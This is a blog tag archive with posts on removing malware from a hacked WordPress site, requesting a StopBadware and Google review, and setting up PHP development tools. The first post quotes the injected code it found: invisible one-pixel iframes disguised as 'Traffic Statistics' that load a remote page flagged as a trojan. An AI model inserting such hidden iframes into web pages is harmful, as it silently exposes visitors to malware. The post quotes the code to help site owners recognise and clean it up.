Tag Archives: firefox

Ajax Blog Eclipse extension Google Greasemonkey how-to IDE iframe Javascript php procrastination Projects spam spyware web-development WordPress

Fixing a ‘This site may harm your computer’ warning, part 2: Hidden iFrames

Earlier I wrote about what I did when my WordPress blog started returning a “This site may harm your computer” warning in Google and Firefox. Just to recap, these are the first steps to take to fix the problem:

  1. Plug the hole – update WordPress (or your blog, forum, or CMS software) to plug any security holes.
  2. Repair the damage – search for spammy outgoing links or malware files on your pages and delete them.
  3. Clear your good name – request a review by StopBadware.org and in Google Webmaster Tools.

This is the right process to follow, but it turns out that I was a bit premature in doing step 3. Spammers and spyware spreaders are a wily, unpredictable bunch and they can’t be expected to stick to simple tactics like inserting links into posts.

The other tactic they used on my site was inserting invisible iFrames. These are harder to find because there aren’t as many automated tools to find them (or, at least, I don’t know of any) so it takes some manual searching through your source code. Here’s what the malware code looked like:


<!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->

<noscript></noscript> <iframe src=”http://61.132.75.71/iframe/wp-stats.php” frameborder=”0″ height=”1″ width=”1″></iframe><br />
<!– End Traffic Statistics –>

It looks like others have run into the same issue. Your anti-virus software may even give you a warning about a virus in a file named “wp-stats[1].htm.” In my case AVG Antvirus warned me about a trojan horse in my temp folder.

Once I removed the iframes, I resubmitted my request in Google Webmaster Tools. Here’s another helpful hint that took me a while to figure out: If only part of your site has been hacked and is marked in StopBadware.org’s database, you should Add that subdirectory as a new site in Webmaster Tools. Here’s an illustration (click to see full size):

webmaster-tools-subdir

In this screenshot you can see my main site, www.jasonmorrison.net. If I click there I don’t see any warning about spam or viruses in my blog at www.jasonmorrison.net/content. So I just added my blog as a new “site” and there I could see the warnings and make a reconsideration request.

One last thing: Google may send out an email to try to let you know about these sorts of problems. I never saw these emails, though, since they go to addresses like abuse@yourdomain.com and admin@yourdomain.comthat spammers also like to use. They ended up in my spam bucket. So you might want to whitelist email from google.com.

Next in part three I’ll talk about what to do when a whole subdomain (perhaps with a forum) is filled with spam. Please put questions or additional suggestions in the comments below.

What I did when my site showed up as a bad link

This site is just a humble blog where I write a bit about programming, design, usability, and other topics I’m interested in. It’s nice that I get some readership and few few good comments now and again but I don’t have any real financial stake here, and I’m definitely not interested in trying to spam anyone, send them spyware, etc. So imagine my shock when I noticed that my blog comes up with a warning, “This site may harm your computer.”

This comes up in various places including Firefox 3 and Google searches.  Obviously no one is going to follow a link to my site with such a disclaimer. So where did it come from and what did I do to clear my sites good name?

The disclaimer comes from the findings of StopBadware.org, an effort that I had heard about in the past but hadn’t really looked into. It sounds like a great idea – it’s very difficult for users to investigate every single link they might click on, and some spyware and adware is hard to see before it’s too late. So Stopbadware.org is a sort of neighborhood watch for the web.

How did my site end up on the list? There are a number of possibilities, so the first step is to check StopBadware.org to see what they found. Follow this link to search for your URL. Make sure you search for your root domain, in my case jasonmorrison.net. Some subdomains or directories might show up with a report while others are still considered clean. This confused me for a while.

Once you see the details there it’s time to hunt for problems. If you have anything more than a simple, static site this can be more difficult than it might first seem. My site uses WordPress and allows user comments. A bad link to show up in a comment, or someone may have hacked the site using a known vulnerability. It looks like it was the latter in my case, but I’m getting ahead of myself. How do you find the bad link?

There are lots of tools to find incoming links to your site, but I’ve only found one so far that checks outgoing links, at Bad Neighborhood. Don’t blindly rely on this tool, but follow up on any links that you don’t recognize having put there yourself. I found a link in the middle of a post from a month or so ago to some spammy German site.

How did the link get there? I don’t think my site was hacked wholesale (or if it was, they were very subtle about it). More likely someone took advantage of my laziness as upgrading WordPress and used a known security exploit.

Now that we’ve found and removed the offending link and plugged any known security holes, it’s time to try to get the stigma removed. Follow the link to the StopBadware.org request for review page and fill out a request. If the badware report came from one of their partners, you may have to follow up with them as well. I’m still waiting to here back on my review, I’ll post an update when I know more.

Hopefully this has been helpful. Let me know if you have any questions or suggestions in the comments below.

How do you set up a PHP development environment?

DSCN1377-1Are you a budding web developer wondering where to start?  An old hand looking for new tools?  Let me tell you a little bit about how I do my PHP / web development work, and maybe some it will be of use to you.

I am starting up some work on Mealographer again.  It definitely needs it, I did a usability test about a year ago and still haven’t fixed the issues I uncovered.  I haven’t been doing a lot of work in PHP recently, at my day job is all Java all the time.  I used to be happy with a text editor, a server somewhere and a browser, but since I’ve been using Eclipse I’ve become spoiled by better tools.

So what do you need to get started?  If you just want to play around, all you need is:

A text editor.  You can use Notepad, but I’ve used HTMLKit in the past.  It’s free and it does basic stuff like syntax highlighting nicely.

A server.  You can set everything up on a remote server, many have PHP accounts for as low as $5/month.  Right now I use Site5 [referral link].  I also want to give a shout out to Q5Media, though PHP isn’t their main thing.

A browser.  This is pretty basic, but worth mentioning.  You need Firefox, which is free to download.  You’ll also want to test things in IE, which you probably already had.

You can do real work with just the above.  It’s worth taking advantage of all the great tools out there, though, including:

An integrated development environment (IDE) – I’m pretty happy with Eclipse for Java development (or the related IBM RAD 6).  What about for PHP?  Right now I’m trying to decide between PHPEclispe and the PDT plugin.  Anyone have an opinion on which way to go?

A local development server – If you want to run PHP locally on windows, you can install Apache or get PHP working on IIS.  In my experience, though, you can’t beat WAMPSERVER – it includes Apache, MySQL and PHP and makes configuration pretty easy.

Source control – There’s no way to keep track of a project of any real size without a change management system.  I have used CVS a lot, and SmartCVS is a good free client.  There are also CVS plugins for Eclipse.  I have heard a lot of good things about Subversion as well.

Web developer plugins for Firefox – seriously, if you don’t have these, you might as well tie your hand behind your back when writing JavaScript of CSS.  Here’s a good list of Firefox plugins.

So that’s what I use – what am I missing?  Post suggestions in the comments below.